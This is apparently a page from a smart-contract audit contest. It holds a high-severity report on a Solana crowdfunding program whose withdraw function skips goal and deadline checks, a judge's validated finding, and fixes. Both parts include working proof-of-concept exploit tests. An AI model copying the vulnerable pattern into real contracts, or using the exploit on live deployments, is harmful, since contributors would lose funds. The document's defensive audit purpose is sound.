Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

Missing Goal Validation Allows Creators to Withdraw Funds from Unsuccessful Campaigns

Missing goal validation allows creators to withdraw funds from unsuccessful campaigns, Contributors lose their funds permanently without any refund option

Description

  • In a proper crowdfunding implementation, funds should only be released to the campaign creator if two conditions are met:

    1. The fundraising deadline has passed

    2. The total amount raised has met or exceeded the campaign goal

  • The withdraw function currently allows the campaign creator to withdraw all funds without verifying that the fundraising goal has been met.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
// Missing goal validation - should check: fund.amount_raised >= fund.goal
// Missing deadline validation - should check: fund.deadline < current_time
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
@>.checked_sub(amount)@> // Only checks if account has enough SOL
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
@>.checked_add(amount)@> // Only checks for arithmetic overflow
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Risk

Likelihood: High

Impact: High


Proof of Concept

The test simulates a real-world scenario where:

  1. A creator starts a campaign with a high goal

  2. Contributors send funds but the goal is not met

  3. The creator exploits the vulnerability to withdraw funds anyway

#[tokio::test]
async fn test_withdraw_goal_not_met_vulnerability() {
// Initialize the test environment
// This sets up a local Solana test environment with our program deployed
let program_test = ProgramTest::new(
"rustfund",
id(),
processor!(rustfund::entry),
);
let mut context = program_test.start_with_context().await;
// Create test accounts for the creator and contributors
let fund_creator = Keypair::new();
let contributor1 = Keypair::new();
let contributor2 = Keypair::new();
// Fund test accounts with SOL for contributions and fees
// Each account receives 10 SOL
let initial_balance = 10_000_000_000;
let airdrop_tx = system_instruction::transfer(
&context.payer.pubkey(),
&fund_creator.pubkey(),
initial_balance,
);
context.send_transaction(airdrop_tx).await.unwrap();
let airdrop_tx1 = system_instruction::transfer(
&context.payer.pubkey(),
&contributor1.pubkey(),
initial_balance,
);
context.send_transaction(airdrop_tx1).await.unwrap();
let airdrop_tx2 = system_instruction::transfer(
&context.payer.pubkey(),
&contributor2.pubkey(),
initial_balance,
);
context.send_transaction(airdrop_tx2).await.unwrap();
// Create an unrealistic campaign with a high goal
// Goal is set to 1000 SOL, which is intentionally unattainable
let goal = 1000 * LAMPORTS_PER_SOL;
let fund_pubkey = setup_fund(
&mut context,
&fund_creator,
"Unrealistic Campaign".to_string(),
"This campaign will never reach its goal".to_string(),
goal,
).await;
// Contributors send funds but the goal is not met
// Two contributors each send 5 SOL, total 10 SOL
let contribution_amount = 5 * LAMPORTS_PER_SOL;
contribute_to_fund(&mut context, &contributor1, fund_pubkey, contribution_amount).await;
contribute_to_fund(&mut context, &contributor2, fund_pubkey, contribution_amount).await;
// Verify the fund's state - goal is NOT met
// This confirms the campaign is in a failed state
let fund_account = get_fund_account(&mut context, fund_pubkey).await;
assert_eq!(fund_account.amount_raised, 10 * LAMPORTS_PER_SOL);
assert_eq!(fund_account.goal, 1000 * LAMPORTS_PER_SOL);
assert!(fund_account.amount_raised < fund_account.goal);
// Creator sets deadline to the past to make the fund eligible for withdrawal
let past_deadline = 1;
set_deadline(&mut context, &fund_creator, fund_pubkey, past_deadline).await;
// Creator withdraws funds - THIS IS THE EXPLOIT
// EXPECTED: Transaction should fail because goal not met
// ACTUAL: Transaction succeeds (vulnerability confirmed)
let creator_balance_before = get_balance(&mut context, &fund_creator.pubkey()).await;
let result = withdraw_funds(&mut context, &fund_creator, fund_pubkey).await;
// Verify the exploit was successful
// The transaction succeeded, confirming the vulnerability
assert!(result.is_ok());
// Verify funds were stolen
let creator_balance_after = get_balance(&mut context, &fund_creator.pubkey()).await;
assert!(creator_balance_after > creator_balance_before);
// Verify the fund account is now empty
let fund_account_after = get_fund_account(&mut context, fund_pubkey).await;
assert_eq!(fund_account_after.amount_raised, 0);
// Verify contributors lost their funds
// Contributors have no refund mechanism available
println!("Vulnerability confirmed");
println!("Stolen amount: {} SOL",
(creator_balance_after - creator_balance_before) / LAMPORTS_PER_SOL);
println!("Creator balance increased by: {} SOL",
(creator_balance_after - creator_balance_before) / LAMPORTS_PER_SOL);
println!("Fund balance: 0 SOL");
println!("Contributors lost: 10 SOL");
}

Recommended Mitigation

  1. Goal Validation: Verify that the total amount raised meets or exceeds the campaign goal

  2. Deadline Validation: Verify that the campaign deadline has passed

+ // Get the current blockchain timestamp to check against the fund's deadline
+ // Clock::get()? returns the current slot time which is used for time-based validations
+ let clock = Clock::get()?;
+ let current_time = clock.unix_timestamp as u64;
+ //GOAL VALIDATION
+ // Check if the campaign has reached its fundraising goal
+ // This prevents creators from withdrawing funds from unsuccessful campaigns
+ // Without this check, creators could steal funds even if the goal wasn't met
+ if fund.amount_raised < fund.goal {
+ msg!("Goal not met: {} raised, {} required", fund.amount_raised, fund.goal);
+ return Err(ProgramError::Custom(6000));
+ }
+ // DEADLINE VALIDATION
+ // Check if the campaign deadline has passed
+ // Funds should only be released after the deadline to give contributors time to participate
+ // Also prevents creators from withdrawing before the campaign ends
+ // The check passes if:
+ // 1. deadline is not 0 (must be set)
+ // 2. deadline is less than current time (deadline has passed)
+ if fund.deadline == 0 || fund.deadline >= current_time {
+ msg!("Deadline not reached: {} current, {} deadline", current_time, fund.deadline);
+ return Err(ProgramError::Custom(6001));
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!